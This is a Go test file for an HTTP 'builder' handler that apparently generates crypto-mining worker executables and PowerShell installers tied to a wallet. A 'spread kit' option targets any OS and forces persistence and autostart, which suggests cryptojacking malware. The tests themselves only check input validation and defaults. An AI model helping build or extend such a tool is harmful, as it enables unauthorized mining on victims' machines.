package builder

import (
	"context"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
	"testing"
)

func TestCancelBuild(t *testing.T) {
	h := &Handler{}
	if h.CancelBuild("missing") {
		t.Fatal("unknown token should return false")
	}
	ctx, cancel := context.WithCancel(context.Background())
	h.registerCancel("tok-1", cancel)
	if !h.CancelBuild("tok-1") {
		t.Fatal("expected cancel success")
	}
	select {
	case <-ctx.Done():
	default:
		t.Fatal("context should be cancelled")
	}
}

func TestUnregisterCancelEmptyToken(t *testing.T) {
	h := &Handler{activeCancels: map[string]context.CancelFunc{"x": func() {}}}
	h.unregisterCancel("")
	if _, ok := h.activeCancels["x"]; !ok {
		t.Fatal("empty token unregister should be no-op")
	}
}

func TestServeHTTPMethodNotAllowed(t *testing.T) {
	h := &Handler{}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builder", nil)
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusMethodNotAllowed {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestServeHTTPInvalidJSON(t *testing.T) {
	h := &Handler{}
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", strings.NewReader("{bad"))
	req.Header.Set("Content-Type", "application/json")
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String())
	}
}

func TestServeHTTPMissingWallet(t *testing.T) {
	h := &Handler{}
	body := `{"worker_name":"pc","server_url":"http://127.0.0.1:8989"}`
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", strings.NewReader(body))
	req.Header.Set("Content-Type", "application/json")
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
	if !strings.Contains(rec.Body.String(), "wallet") {
		t.Fatalf("body: %s", rec.Body.String())
	}
}

func TestServeEstimateMethodNotAllowed(t *testing.T) {
	h := &Handler{}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builder/estimate", nil)
	rec := httptest.NewRecorder()
	h.ServeEstimate(rec, req)
	if rec.Code != http.StatusMethodNotAllowed {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestServeEstimateRequiresMultipart(t *testing.T) {
	h := &Handler{}
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", strings.NewReader(`{}`))
	req.Header.Set("Content-Type", "application/json")
	rec := httptest.NewRecorder()
	h.ServeEstimate(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
	if !strings.Contains(rec.Body.String(), "multipart") {
		t.Fatalf("body: %s", rec.Body.String())
	}
}

func TestNormalizeRequestStrictWallet(t *testing.T) {
	h := &Handler{policy: BuildPolicy{StrictWalletValidation: true}}
	req := &BuildRequest{
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "not-a-wallet",
	}
	err := h.normalizeRequest(req)
	if err == nil || !strings.Contains(err.Error(), "wallet") {
		t.Fatalf("expected wallet error, got %v", err)
	}
}

func TestNormalizeRequestCustomInstallBase(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName:  "pc",
		ServerURL:   "http://127.0.0.1:8989",
		Wallet:      "48abc",
		InstallBase: "custom",
	}
	if err := h.normalizeRequest(req); err == nil {
		t.Fatal("expected install_custom_base error")
	}
}

func TestNormalizeRequestInvalidOutputDir(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
		OutputDir:  "../escape",
	}
	if err := h.normalizeRequest(req); err == nil {
		t.Fatal("expected output_dir error")
	}
}

func TestNormalizeRequestSpreadKit(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName:    "pc",
		ServerURL:     "http://127.0.0.1:8989",
		Wallet:        "48abc",
		SpreadKit:     true,
		FusionEnabled: true,
	}
	if err := h.normalizeRequest(req); err != nil {
		t.Fatal(err)
	}
	if req.FusionEnabled {
		t.Fatal("spread kit should disable fusion")
	}
	if req.TargetOS != "universal" {
		t.Fatalf("target os: %q", req.TargetOS)
	}
	if !req.Persistence || !req.AutoStart {
		t.Fatal("spread kit should force persistence")
	}
}

func TestNormalizeRequestAIDefaults(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
		AIEnabled:  true,
	}
	if err := h.normalizeRequest(req); err != nil {
		t.Fatal(err)
	}
	if req.AIOllamaEndpoint == "" || req.AIModel == "" {
		t.Fatal("AI defaults should be set")
	}
}

func TestNormalizeRequestThreadPercentCap(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName:    "pc",
		ServerURL:     "http://127.0.0.1:8989",
		Wallet:        "48abc",
		ThreadPercent: 150,
	}
	if err := h.normalizeRequest(req); err != nil {
		t.Fatal(err)
	}
	if req.ThreadPercent != 100 {
		t.Fatalf("capped at 100, got %d", req.ThreadPercent)
	}
}

func TestExportBuildArtifactsInvalidDir(t *testing.T) {
	h := &Handler{projectRoot: t.TempDir(), dataDir: t.TempDir()}
	_, _, err := h.exportBuildArtifacts("a", "b.exe", "c", "d.ps1", "..")
	if err == nil {
		t.Fatal("expected invalid output_dir error")
	}
}

func TestPublishRootExecutableNoProjectRoot(t *testing.T) {
	dir := t.TempDir()
	src := filepath.Join(dir, "out.exe")
	if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
		t.Fatal(err)
	}
	h := &Handler{projectRoot: "."}
	got, err := h.publishRootExecutable(src, "out.exe")
	if err != nil {
		t.Fatal(err)
	}
	if got != src {
		t.Fatalf("expected source path %q, got %q", src, got)
	}
}
